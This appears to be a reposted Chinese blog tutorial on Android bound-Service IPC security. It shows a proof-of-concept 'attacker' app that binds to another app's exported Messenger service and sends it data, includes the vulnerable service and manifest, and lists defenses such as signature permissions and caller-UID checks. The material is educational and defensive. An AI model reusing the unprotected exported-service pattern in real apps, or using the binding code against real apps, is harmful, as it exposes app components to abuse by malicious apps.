您的位置:首页 > 移动开发 > Android开发

关于Android bound Service 攻击和防御

2016-04-19 22:54 363 查看

关于Android bound Service 攻击和防御

Android中允许使用Messenger和AIDL进行在多进程间通信bound service。那么这里就有问题产生,我们知道一般情况一个app对应一个进程,也就是多进程间通信,那两个不同的app之间也可以进行通信。那么如果自己实现恶意app就可以对其他app可以进行恶意操作。

【邪恶脸】我们可以写一个攻击案例,使用Messenger来实现,当然AIDL也可以。这里只是测试具体请自行分析:

这个是攻击的app主要内容,绑定被攻击的app的service,获得返回消息:

public class MesActivity extends Activity {
private Button start;
private Button stop;
private ServiceConnection connection=new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
Messenger messenger=new Messenger(service);
Message message=Message.obtain(null,1);
Bundle bundle=new Bundle();
bundle.putString("key","from service connection");
message.setData(bundle);
try{
messenger.send(message);
}catch (RemoteException e){
e.printStackTrace();
}
Log.e("TAG","connection");
}

@Override
public void onServiceDisconnected(ComponentName name) {
Log.e("TAG","disconnection");
}
};

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.messenger_layout);
initView();
}

public void initView(){
start=(Button)findViewById(R.id.mes_start);
stop=(Button)findViewById(R.id.mes_stop);

start.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {

Intent intent1=new Intent();
//com.example.mrsj.hacktool被攻击app包名
intent1.setPackage("com.example.mrsj.hacktool");
intent1.setAction("com.example.mrsj.hacktool.Messen");
intent1.addCategory("com.example.mrsj.hacktool.Mess");
bindService(intent1,connection,BIND_AUTO_CREATE);
toastInfo(MesActivity.this,"bind");
}
});

stop.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
unbindService(connection);
toastInfo(MesActivity.this,"unbind");
}
});

}

public void toastInfo(Context context,String s){
Toast.makeText(context,s,Toast.LENGTH_LONG).show();
}

}


被攻击app的内容:

public class MessenService extends Service {
private Messenger messenger;
private Handler handler=new Handler(new Handler.Callback() {
@Override
public boolean handleMessage(Message msg) {
if (msg.what==1){
String s= msg.getData().getString("key");
Log.e("Service",s);
}
return true;
}
});

@Nullable
@Override
public IBinder onBind(Intent intent) {
messenger=new Messenger(handler);
return messenger.getBinder();
}
}

manifes文件service内容:

<service android:name=".MessenService">
<intent-filter>
<action android:name="com.example.mrsj.hacktool.Messen"/>
<category android:name="com.example.mrsj.hacktool.Mess"/>
</intent-filter>
</service>


结果将会在被攻击app输出from service connection。这里被攻击必须是运行,否则无法绑定。当然你可以自己去启动被攻击的app,然后绑定service。

重点防御:

可以在Manifest文件对暴露的Servic增加签名保护级别。

可以在Binder中进行验证:

1.使用Binder的静态方法getCallingPid或者getCallingUid来验证IPC调用者的身份,在获得调用者uid以后,可进一步使用PackageManager.getPackagesForUid(int uid)来获得调用者的包名,然后使用PackageManager.getPackageInfo(String Packagename, int flag)检查是否具有相应的权限(使用PackageManager.GET_PERMISSIONS flag)

2.在Service的OnBind方法中调用Context.checkCallingPermission(String permission)或者checkCallingPermissionOrSelf (String permission) 方法,验证IPC调用者是否拥有指定的权限,同样适用于Messenger;

3.使用Context.enforceCallingPermission(String permission, String message),如果调用者不具备权限,自动抛出SecurityException
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息